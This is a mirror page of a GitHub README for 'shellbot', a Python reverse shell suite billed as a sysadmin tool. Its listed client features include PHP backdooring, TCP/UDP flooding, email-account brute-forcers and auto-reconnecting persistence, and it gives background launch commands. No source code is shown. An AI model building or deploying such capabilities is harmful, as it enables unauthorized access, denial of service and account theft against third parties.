GithubHelp home page GithubHelp logo

anthrax3 / shellbot Goto Github PK

View Code? Open in Web Editor NEW

This project forked from sayak-brm/shellbot

0.0 0.0 0.0 36 KB

An advanced reverse shell written in Python3.

License: MIT License

PHP 15.02% Python 84.98%

shellbot's Introduction

ShellBot

An advanced reverse shell written in Python3.

ShellBot is a cross-platform Remote Shell Suite where the Server can be managed by 1 Controller at a time.

A server can accept several clients at once, and relay a chosen client's shell to the controller.

This makes it easy for an SysAdmin to manage several computers with minimal setup in an internal network.

The ShellBot suite is designed in such a way that it will not stop till a connection is achieved. All errors are handled internally and in case of a crash, the program automatically restarts.


Features:

Server:
  1. Can handle multiple connections all at once.
  2. The Controller’s connection requires a plain text password, it’s not the best security, but at-least it is better than nothing. Will be improved on in future revisions.
  3. Kicks the Controller after 5 mins. This was added just in case someone forgot his Controller on which won’t allow other controllers to connect (since the Server only accepts 1 controller at a time). TODO: Make it 5 minutes after inactivity.
Client:
  1. Infected PHP Backdooring Function. (Linux Only)
  2. TCP Flood.
  3. UDP Flood.
  4. Gmail Bruteforcer. (Workaround Gmail's SMTP login)
  5. MS Live Bruteforcer.
  6. Yahoo Bruteforcer.
  7. AOL Bruteforce.
  8. Custome SMTP Bruteforcer. If found, the password will be saved as "password.txt" on the client.
  9. OTA Updating.
  10. Hardened Shell: Handles No Output, Wrong, Interactive and Infinite commands will result in losing the shell.
  11. Can handle multiple commands separated by semi-colon (;).
  12. Never closes and is always trying to connect to the Server.
  13. Can handle almost any non-interactive command properly.
  14. Uses very less resources.
  15. Can be packaged into executables with tools like pyInstaller.
Controller:
  1. Handles KeyboardInterrupts, empty commands, etc. perfectly.
  2. Easy user interface.

Note: When trying to start the client through SSH, Terminal or any other interactive shell, it is advised to start the client in another process. This can be done in Linux with nohup.

Example:
nohup python3 client.py 15.48.158.15 1567 > /dev/null &

nohup python3 client.py 15.48.158.15 1567 > /dev/null 2>&1 &

shellbot's People

Contributors

sayak-brm avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.